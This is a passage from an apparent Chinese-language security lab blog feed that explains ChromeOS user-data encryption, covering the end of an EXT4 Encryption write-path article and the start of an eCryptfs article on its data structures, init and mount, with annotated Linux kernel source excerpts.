class="line">BUILD_BUG_ON(EXT4_XTS_TWEAK_SIZE < <span class="keyword">sizeof</span>(index));</span><br><span class="line"><span class="built_in">memcpy</span>(xts_tweak, &index, <span class="keyword">sizeof</span>(index));</span><br><span class="line"><span class="built_in">memset</span>(&xts_tweak[<span class="keyword">sizeof</span>(index)], <span class="number">0</span>, EXT4_XTS_TWEAK_SIZE - <span class="keyword">sizeof</span>(index));</span><br><span class="line"></span><br><span class="line">sg_init_table(&dst, <span class="number">1</span>);</span><br><span class="line">sg_set_page(&dst, dest_page, PAGE_CACHE_SIZE, <span class="number">0</span>);</span><br><span class="line">sg_init_table(&src, <span class="number">1</span>);</span><br><span class="line">sg_set_page(&src, src_page, PAGE_CACHE_SIZE, <span class="number">0</span>);</span><br><span class="line">ablkcipher_request_set_crypt(req, &src, &dst, PAGE_CACHE_SIZE, xts_tweak);</span><br><span class="line"><span class="keyword">if</span> (rw == EXT4_DECRYPT)</span><br><span class="line">res = crypto_ablkcipher_decrypt(req);</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">res = crypto_ablkcipher_encrypt(req);</span><br><span class="line"><span class="keyword">if</span> (res == -EINPROGRESS || res == -EBUSY) {</span><br><span class="line">wait_for_completion(&ecr.completion);</span><br><span class="line">res = ecr.res;</span><br><span class="line">}</span><br><span class="line">ablkcipher_request_free(req);</span><br><span class="line"><span class="keyword">if</span> (res) {</span><br><span class="line">printk_ratelimited( KERN_ERR <span class="string">"%s: crypto_ablkcipher_encrypt() returned %d\n"</span>, __func__, res);</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">`</span><br></pre></td></tr></table></figure><h3 id="write-file流程-回页首"><a href="#write-file流程-回页首" class="headerlink" title="write file流程 回页首"></a>write file流程 <a href="#top">回页首</a></h3><p><span id="EXT4-Encryption-file-write"></span></p><p>  在写入文件的时候会首先将page cache中的文件明文内容进行AES-256-XTS<br>加密,再通过bio写入磁盘,该工作主要在ext4_writepage()函数中完成,这里主要关注EXT4 Encryption部分,其函数调用关系如图十所示。</p><center>  图十 ext4_writepage函数调用关系</center><p>  图十中,首先照例通过ext4_encrypted_inode()函数利用i_flags是否等于EXT4_INODE_ENCRYPT来判断是否是加密文件;然后使用ext4_encrypt()函数申请新的内存页用于保存密文,完成内容的加密,具体代码见清单十二,函数返回密文页的地址保存在data_page变量;紧着通过io_submit_add_bh()封装写入buffer页到磁盘的请求,这里通过判断data_page页是否空来决定是写入明文页还是密文页,巧妙的兼容了加密和非加密两种模式;最后通过ext4_io_submit()提交bio写盘请求。</p><h4 id="清单十二-ext4-encrypt函数"><a href="#清单十二-ext4-encrypt函数" class="headerlink" title="清单十二 ext4_encrypt函数"></a>清单十二 ext4_encrypt函数</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">struct page *<span class="title">ext4_encrypt</span><span class="params">(struct inode *inode,</span></span></span><br><span class="line"><span class="function"><span class="params"> struct page *plaintext_page,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">gfp_t</span> gfp_flags)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ext4_crypto_ctx</span> *<span class="title">ctx</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">ciphertext_page</span> = <span class="title">NULL</span>;</span></span><br><span class="line"><span class="keyword">int</span> err;</span><br><span class="line"></span><br><span class="line">BUG_ON(!PageLocked(plaintext_page));</span><br><span class="line"></span><br><span class="line"><span class="comment">//从cache中获取一个ext4_crypto_ctx内存空间</span></span><br><span class="line">ctx = ext4_get_crypto_ctx(inode, gfp_flags);</span><br><span class="line"><span class="keyword">if</span> (IS_ERR(ctx))</span><br><span class="line"><span class="keyword">return</span> (struct page *) ctx;</span><br><span class="line"></span><br><span class="line"><span class="comment">//从内存池中申请一个内存页,命名为bounce page,用于保存密文内容,同时将</span></span><br><span class="line"><span class="comment">//ext4_crypto_ctx的w.bounce_page指向该bounce page</span></span><br><span class="line"><span class="comment">/* The encryption operation will require a bounce page. */</span></span><br><span class="line">ciphertext_page = alloc_bounce_page(ctx, gfp_flags);</span><br><span class="line"><span class="keyword">if</span> (IS_ERR(ciphertext_page))</span><br><span class="line"><span class="keyword">goto</span> errout;</span><br><span class="line">ctx->w.control_page = plaintext_page;</span><br><span class="line"></span><br><span class="line"><span class="comment">//调用kernel crypto加密,将密文保存在bounce page</span></span><br><span class="line">err = ext4_page_crypto(inode, EXT4_ENCRYPT, plaintext_page->index,</span><br><span class="line"> plaintext_page, ciphertext_page, gfp_flags);</span><br><span class="line"><span class="keyword">if</span> (err) {</span><br><span class="line">ciphertext_page = ERR_PTR(err);</span><br><span class="line">errout:</span><br><span class="line">ext4_release_crypto_ctx(ctx);</span><br><span class="line"><span class="keyword">return</span> ciphertext_page;</span><br><span class="line">}</span><br><span class="line">SetPagePrivate(ciphertext_page);</span><br><span class="line">set_page_private(ciphertext_page, (<span class="keyword">unsigned</span> <span class="keyword">long</span>)ctx);</span><br><span class="line">lock_page(ciphertext_page);</span><br><span class="line"></span><br><span class="line"><span class="comment">//返回密文页bounce page地址</span></span><br><span class="line"><span class="keyword">return</span> ciphertext_page;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">`</span><br></pre></td></tr></table></figure><p>  因为在open file的时候已经初始化好了kernel crypto 所需的加密算法、密钥设置,并保存了tfm到文件inode的内存表示ext4_inode_info的成员i_crypt_info中,所以在readpage/writepage时进行加/解密的操作变得很简单。</p><h2 id="结语-回页首"><a href="#结语-回页首" class="headerlink" title="结语 回页首"></a>结语 <a href="#top">回页首</a></h2><p><span id="end"></span></p><p>  与eCryptfs类似,EXT4 Encryption建立在内核安全可信的基础上,核心安全组件是master key,若内核被攻破导致密钥泄露,EXT4 Encryption的安全性将失效。同样需要注意page cache中的明文页有可能被交换到磁盘的swap区。早期版本的Chrome OS禁用了swap功能,当前版本的swap采取的是zram机制,与传统的磁盘swap有本质区别。相比eCryptfs做为一个独立的内核加密模块,现在EXT4 Encryption原生的存在于EXT4文件系统中,在使用的便利性和性能上都优于eCryptfs,相信推广将会变得更加迅速。</p><h2 id="参考资料-回页首"><a href="#参考资料-回页首" class="headerlink" title="参考资料 回页首"></a>参考资料 <a href="#top">回页首</a></h2><p><span id="refer"></span></p><ol><li><a href="https://chromium.googlesource.com/chromiumos/third_party/kernel/+/v4.4.79" target="_blank" rel="noopener">Linux kernel-V4.4.79 sourcecode</a></li><li><a href="https://chromium.googlesource.com/chromiumos/" target="_blank" rel="noopener">Chromium OS platform-9653 sourcecode</a></li></ol>]]></content>
<summary type="html">
<p>author : <a href="http://weibo.com/suezi86" target="_blank">suezi(@suezi86)</a> of IceSword Lab , Qihoo 360</p>
<hr>
<p><span id="top"></
</summary>
</entry>
<entry>
<title>ChromeOS基于eCryptfs的用户数据安全保护机制</title>
<link href="http://yoursite.com/2017/10/ChromeOs-Userdata-Protection-Mechanism-Based-On-eCryptfs/"/>
<id>http://yoursite.com/2017/10/ChromeOs-Userdata-Protection-Mechanism-Based-On-eCryptfs/</id>
<published>2017-10-09T00:00:00.000Z</published>
<updated>2025-07-16T10:02:19.270Z</updated>
<content type="html">< 图一 eCryptfs的系统架构</center><p>  eCryptfs的系统架构如图一所示,eCryptfs堆叠在EXT4文件系统之上,工作时需要用户程序和内核同时配合,用户程序主要负责获取密钥并通过(add_key/keyctl/request_key)系统调用传送到内核的keyring,当某个应用程序发起对文件的读写操作前,由eCryptfs对其进行加/解密,加/解密的过程中需要调用Kernel的Crypto API(AES/DES etc)来完成。以对目录eCryptfs-test进行加密为例,为方便起见,在Ubuntu系统下测试eCryptfs的建立流程,如图二所示,通过mount指令发起eCryptfs的建立流程,然后在用户应用程序eCryptfs-utils的辅助下输入用于加密FEK的用户口令及选择加密算法等,完成挂载后意味着已经开始对测试目录eCryptfs-test的所有内容进行加密处理。测试中在eCryptfs-test目录下增加需要加密的文件或目录的内容,当用户umount退出对eCryptfs-test目录的挂载后再次查看该目录时,发现包括文件名和文件内容都进行了加密,如图三所示。</p><center>  图二 eCryptfs使用时的建立流程<p><img src="/2017/10/ChromeOs-Userdata-Protection-Mechanism-Based-On-eCryptfs/eCryptfs-file-demo.png" alt title="图三"><br>图三 eCryptfs加密后的文件</p><p><img src="/2017/10/ChromeOs-Userdata-Protection-Mechanism-Based-On-eCryptfs/ecryptfs-encrypt-decrypt-flow.png" alt title="图四"><br>图四 eCryptfs对文件的加解密流程</p></center><p>  实现上,eCryptfs对数据的加/解密流程如图四所示,对称密钥加密算法以块为单位进行加密/解密,如AES-128。eCryptfs 将加密文件分成多个逻辑块,称为 extent,extent 的大小可调,但是不能大于实际物理页,默认值等于物理页的大小,如32位的系统下是 4096 字节。加密文件的头部存放元数据,包括元数据长度、标志位、旗标、EFEK及相应的signature,目前元数据的最小长度为 8192 字节。加/解密开始前,首先解密FEKEK取出FEK。当读入一个 extent 中的任何部分的密文时,整个 extent 被读入 Page Cache,通过 Kernel Crypto API 进行解密;当 extent 中的任何部分的明文数据被写回磁盘时,需要加密并写回整个 extent。</p><h2 id="eCryptfs详述-回页首"><a href="#eCryptfs详述-回页首" class="headerlink" title="eCryptfs详述 回页首"></a>eCryptfs详述 <a href="#top">回页首</a></h2><p><span id="ecryptfs-detail"></span></p><p>  eCryptfs在内核中的实现代码位于kernel/fs/ecryptfs,下面以eCryptfs使用到的关键数据结构、eCryptfs init、eCryptfs mount、file creat、file open、file read、file write的顺序分别介绍eCryptfs是如何工作。另外,eCryptfs还实现了/dev/ecryptfs的misc设备,用于内核与应用程序间的消息传递,如密钥请求与响应,属于非必选项,因此这里不对其进行介绍。</p><h3 id="eCryptfs相关的数据结构-回页首"><a href="#eCryptfs相关的数据结构-回页首" class="headerlink" title="eCryptfs相关的数据结构 回页首"></a>eCryptfs相关的数据结构 <a href="#top">回页首</a></h3><p><span id="ecryptfs-datastruct"></span></p><p>  eCryptfs关键的数据结构包括eCryptfs 文件系统相关file、dentry、inode、superblock、file_system_type描述、auth token认证令牌描述、eCryptfs加密信息描述等。<br>  eCryptfs文件系统相关的数据结构如清单一所示,下文将会重点介绍file_system_type中的mount函数,即ecryptfs_mount。</p><h4 id="清单一-eCryptfs文件系统相关的数据结构"><a href="#清单一-eCryptfs文件系统相关的数据结构" class="headerlink" title="清单一 eCryptfs文件系统相关的数据结构"></a>清单一 eCryptfs文件系统相关的数据结构</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* ecryptfs file_system_type */</span></span><br><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">file_system_type</span> <span class="title">ecryptfs_fs_type</span> = {</span></span><br><span class="line">.owner = THIS_MODULE,</span><br><span class="line">.name = <span class="string">"ecryptfs"</span>,</span><br><span class="line">.mount = ecryptfs_mount,</span><br><span class="line">.kill_sb = ecryptfs_kill_block_super,</span><br><span class="line">.fs_flags = <span class="number">0</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">/* superblock private data. */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_sb_info</span> {</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">super_block</span> *<span class="title">wsi_sb</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_mount_crypt_stat</span> <span class="title">mount_crypt_stat</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">backing_dev_info</span> <span class="title">bdi</span>;</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">/* inode private data. */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_inode_info</span> {</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">inode</span> <span class="title">vfs_inode</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">inode</span> *<span class="title">wii_inode</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">lower_file_mutex</span>;</span></span><br><span class="line"><span class="keyword">atomic_t</span> lower_file_count;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file</span> *<span class="title">lower_file</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_crypt_stat</span> <span class="title">crypt_stat</span>;</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">/* dentry private data. Each dentry must keep track of a lower vfsmount too. */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_dentry_info</span> {</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">path</span> <span class="title">lower_path</span>;</span></span><br><span class="line"><span class="keyword">union</span> {</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_crypt_stat</span> *<span class="title">crypt_stat</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">rcu_head</span> <span class="title">rcu</span>;</span></span><br><span class="line">};</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">/* file private data. */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_file_info</span> {</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file</span> *<span class="title">wfi_file</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_crypt_stat</span> *<span class="title">crypt_stat</span>;</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>  eCryptfs支持对文件名(包括目录名)进行加密,因此特意使用了struct ecryptfs_filename的结构封装文件名,如清单二所示。</p><h4 id="清单二-文件名的数据结构"><a href="#清单二-文件名的数据结构" class="headerlink" title="清单二 文件名的数据结构"></a>清单二 文件名的数据结构</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_filename</span> {</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">list_head</span> <span class="title">crypt_stat_list</span>;</span></span><br><span class="line">u32 flags;</span><br><span class="line">u32 seq_no;</span><br><span class="line"><span class="keyword">char</span> *filename;</span><br><span class="line"><span class="keyword">char</span> *encrypted_filename;</span><br><span class="line"><span class="keyword">size_t</span> filename_size;</span><br><span class="line"><span class="keyword">size_t</span> encrypted_filename_size;</span><br><span class="line"><span class="keyword">char</span> fnek_sig[ECRYPTFS_SIG_SIZE_HEX];</span><br><span class="line"><span class="keyword">char</span> dentry_name[ECRYPTFS_ENCRYPTED_DENTRY_NAME_LEN + <span class="number">1</span>];</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>  struct ecryptfs_auth_tok用于记录认证令牌信息,包括用户口令和非对称加密两种类型,每种类型都包含有密钥的签名,用户口令类型还包含有算法类型和加盐值等,如清单三所示。为了方便管理,使用时统一将其保存在struct ecryptfs_auth_tok_list_item链表中。</p><h4 id="清单三-认证令牌信息的数据结构"><a href="#清单三-认证令牌信息的数据结构" class="headerlink" title="清单三 认证令牌信息的数据结构"></a>清单三 认证令牌信息的数据结构</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_auth_tok</span> {</span></span><br><span class="line">u16 version; <span class="comment">/* 8-bit major and 8-bit minor */</span></span><br><span class="line">u16 token_type;</span><br><span class="line">u32 flags;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_session_key</span> <span class="title">session_key</span>;</span></span><br><span class="line">u8 reserved[<span class="number">32</span>];</span><br><span class="line"><span class="keyword">union</span> {</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_password</span> <span class="title">password</span>;</span> <span class="comment">//用户口令类型</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_private_key</span> <span class="title">private_key</span>;</span> <span class="comment">//非对称加密类型</span></span><br><span class="line">} token;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_password</span> {</span></span><br><span class="line">u32 password_bytes;</span><br><span class="line">s32 hash_algo;</span><br><span class="line">u32 hash_iterations;</span><br><span class="line">u32 session_key_encryption_key_bytes;</span><br><span class="line">u32 flags;</span><br><span class="line"><span class="comment">/* Iterated-hash concatenation of salt and passphrase */</span></span><br><span class="line">u8 session_key_encryption_key[ECRYPTFS_MAX_KEY_BYTES];</span><br><span class="line">u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + <span class="number">1</span>];</span><br><span class="line"><span class="comment">/* Always in expanded hex */</span></span><br><span class="line">u8 salt[ECRYPTFS_SALT_SIZE];</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_private_key</span> {</span></span><br><span class="line">u32 key_size;</span><br><span class="line">u32 data_len;</span><br><span class="line">u8 signature[ECRYPTFS_PASSWORD_SIG_SIZE + <span class="number">1</span>];</span><br><span class="line"><span class="keyword">char</span> pki_type[ECRYPTFS_MAX_PKI_NAME_BYTES + <span class="number">1</span>];</span><br><span class="line">u8 data[];</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>  eCryptfs在mount时会传入全局加解密用到密钥、算法相关数据,并将其保存在struct ecryptfs_mount_crypt_stat,如清单四所示</p><h4 id="清单四-mount时传入的密钥相关数据结构"><a href="#清单四-mount时传入的密钥相关数据结构" class="headerlink" title="清单四 mount时传入的密钥相关数据结构"></a>清单四 mount时传入的密钥相关数据结构</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_mount_crypt_stat</span> {</span></span><br><span class="line">u32 flags;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">list_head</span> <span class="title">global_auth_tok_list</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">global_auth_tok_list_mutex</span>;</span></span><br><span class="line"><span class="keyword">size_t</span> global_default_cipher_key_size;</span><br><span class="line"><span class="keyword">size_t</span> global_default_fn_cipher_key_bytes;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> global_default_cipher_name[ECRYPTFS_MAX_CIPHER_NAME_SIZE + <span class="number">1</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> global_default_fn_cipher_name[</span><br><span class="line">ECRYPTFS_MAX_CIPHER_NAME_SIZE + <span class="number">1</span>];</span><br><span class="line"><span class="keyword">char</span> global_default_fnek_sig[ECRYPTFS_SIG_SIZE_HEX + <span class="number">1</span>];</span><br><span class="line">};</span><br></pre></td></tr></table></figure><p>  eCryptfs读写文件时首先需要进行加/解密,此时使用的密钥相关数据保存在struct ecryptfs_crypt_stat结构中,其具体数值在open时初始化,部分从mount时的ecryptfs_mount_crypt_stat复制过来,部分从分析加密文件的metadata获取,该数据结构比较关键,贯穿eCryptfs的文件open、read、write、close等流程,如清单五所示。</p><h4 id="清单五-ecryptfs-crypt-stat数据结构"><a href="#清单五-ecryptfs-crypt-stat数据结构" class="headerlink" title="清单五 ecryptfs_crypt_stat数据结构"></a>清单五 ecryptfs_crypt_stat数据结构</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_crypt_stat</span> {</span></span><br><span class="line">u32 flags;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> file_version;</span><br><span class="line"><span class="keyword">size_t</span> iv_bytes;</span><br><span class="line"><span class="keyword">size_t</span> metadata_size;</span><br><span class="line"><span class="keyword">size_t</span> extent_size; <span class="comment">/* Data extent size; default is 4096 */</span></span><br><span class="line"><span class="keyword">size_t</span> key_size;</span><br><span class="line"><span class="keyword">size_t</span> extent_shift;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> extent_mask;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ecryptfs_mount_crypt_stat</span> *<span class="title">mount_crypt_stat</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">crypto_ablkcipher</span> *<span class="title">tfm</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">crypto_hash</span> *<span class="title">hash_tfm</span>;</span> <span class="comment">/* Crypto context for generating</span></span><br><span class="line"><span class="comment"> * the initialization vectors */</span></span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> cipher[ECRYPTFS_MAX_CIPHER_NAME_SIZE + <span class="number">1</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> key[ECRYPTFS_MAX_KEY_BYTES];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">char</span> root_iv[ECRYPTFS_MAX_IV_BYTES];</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">list_head</span> <span class="title">keysig_list</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">keysig_list_mutex</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">cs_tfm_mutex</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">cs_hash_tfm_mutex</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">cs_mutex</span>;</span></span><br><span class="line">};</span><br></pre></td></tr></table></figure><h3 id="eCryptfs-init过程-回页首"><a href="#eCryptfs-init过程-回页首" class="headerlink" title="eCryptfs init过程 回页首"></a>eCryptfs init过程 <a href="#top">回页首</a></h3><p><span id="ecryptfs-init"></span></p><p>  使用eCryptfs前,首先需要通过内核的配置选项“CONFIG_ECRYPT_FS=y”使能eCryptfs,因为加解密时使用到内核的crypto和keystore接口,所以要确保“CONFIG_CRYPTO=y”,“CONFIG_KEYS=y”,“CONFIG_ENCRYPTED_KEYS=y”,同时使能相应的加解密算法,如AES等。重新编译内核启动后会自动注册eCryptfs,其init的代码如清单六所示。</p><h4 id="清单六-eCryptfs-init过程"><a href="#清单六-eCryptfs-init过程" class="headerlink" title="清单六 eCryptfs init过程"></a>清单六 eCryptfs init过程</h4><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> __init <span class="title">ecryptfs_init</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="keyword">int</span> rc;</span><br><span class="line"><span class="comment">//eCryptfs的extent size不能大于page size</span></span><br><span class="line"><span class="keyword">if</span> (ECRYPTFS_DEFAULT_EXTENT_SIZE > PAGE_CACHE_SIZE) {</span><br><span class="line">rc = -EINVAL; ecryptfs_printk(KERN_ERR,…); <span class="keyword">goto</span> out;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/*为上文列举到的eCryptfs重要的数据结构对象申请内存,如eCryptfs的auth token、superblock、inode、dentry、file、key等*/</span></span><br><span class="line">rc = ecryptfs_init_kmem_caches(); </span><br><span class="line">…</span><br><span class="line"> <span class="comment">//建立sysfs接口,该接口中的version各bit分别代表eCryptfs支持的能力和属性</span></span><br><span class="line">rc = do_sysfs_registration(); </span><br><span class="line">…</span><br><span class="line"><span class="comment">//建立kthread,为后续eCryptfs读写lower file时能借助内核函数得到rw的权限</span></span><br><span class="line">rc = ecryptfs_init_kthread();</span><br><span class="line">…</span><br><span class="line"><span class="comment">//在chromeos中该函数为空,直接返回0</span></span><br><span class="line">rc = ecryptfs_init_messaging();</span><br><span class="line">…</span><br><span class="line"><span class="comment">//初始化kernel crypto</span></span><br><span class="line">rc = ecryptfs_init_crypto();</span><br><span class="line">…</span><br><span class="line"><span class="comment">//注册eCryptfs文件系统</span></span><br><span class="line">rc = register_filesystem(&ecryptfs_fs_type);</span><br><span class="line">…</span><br><span class="line"><span class="keyword">return</span> rc;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="eCryptfs-mount过程-回页首"><a href="#eCryptfs-mount过程-回页首" class="headerlink" title="eCryptfs mount过程 回页首"></a>eCryptfs mount过程 <a href="#top">回页首</a></h3><p><span id="ecryptfs-mount"></span></p><p>  在使能了eCryptfs的内核,当用户在应用层下发“mount –t ecryptfs src dst options”指令时触发执行上文清单一中的ecryptfs_mount函数进行文件系统的挂载安装并初始化auth token,成功执行后完成对src目录的eCryptfs属性的指定,eCryptfs开始正常工作,此后任何在src目录下新建的文件都会被自动加密处理,若之前该目录已有加密文件,此时会被自动解密。<br>  ecryptfs_mount涉及的代码比较多,篇幅有限,化繁为简,函数调用关系如图五所示。</p><center>  图五 eCryptfs mount的函数调用关系图</center><p>  从图五可看到mount时首先利用函数ecryptfs_parse_options()对传入的option参数做解析,完成了如下事项: </p><ol><li>调用函数ecryptfs_init_mount_crypt_stat()初始化用于保存auth token相关的 struct ecryptfs_mount_crypt_stat 对象; </li><li>调用函数ecryptfs_add_global_auth_tok()将从option传入的分别用于FEK和FNEK(File Name Encryption Key,用于文件名加解密)的auth token的signature保存到struct ecryptfs_mount_crypt_stat 对象; </li><li>分析option传入参数,初始化struct ecryptfs_mount_crypt_stat 